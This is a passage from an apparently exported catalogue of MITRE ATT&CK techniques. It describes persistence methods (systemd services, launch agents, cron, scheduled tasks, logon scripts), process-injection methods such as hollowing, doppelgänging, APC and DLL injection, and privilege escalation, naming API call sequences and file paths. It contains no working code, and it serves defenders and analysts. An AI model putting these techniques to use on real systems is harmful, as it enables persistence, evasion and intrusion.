(ex: using a service and/or payload name related to a legitimate OS or benign software component).\nT1543.002 | Systemd Service | Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)\nT1543.001 | Launch Agent | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \nT1037.005 | Startup Items | Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.\nT1037.004 | RC Scripts | Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\nT1055.012 | Process Hollowing | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.013 | Process Doppelg\u00e4nging | Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. \nT1055.011 | Extra Window Memory Injection | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.014 | VDSO Hijacking | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.009 | Proc Memory | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.008 | Ptrace System Calls | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.005 | Thread Local Storage | Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.004 | Asynchronous Procedure Call | Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.003 | Thread Execution Hijacking | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.002 | Portable Executable Injection | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.001 | Dynamic-link Library Injection | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1037.003 | Network Logon Script | Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\nT1543 | Create or Modify System Process | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) \nT1037.002 | Login Hook | Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) \nT1037.001 | Logon Script (Windows) | Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \nT1053.003 | Cron | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). \nT1053.004 | Launchd | This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.\nT1053.001 | At (Linux) | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\nT1053.005 | Scheduled Task | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) \nT1053.002 | At | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\nT1519 | Emond | Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.\nT1547.013 | XDG Autostart Entries | Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.\nT1514 | Elevated Execution with Prompt | Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)\nT1504 | PowerShell Profile | Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\nT1502 | Parent PID Spoofing | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)\nT1484 | Domain Policy Modification | Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious 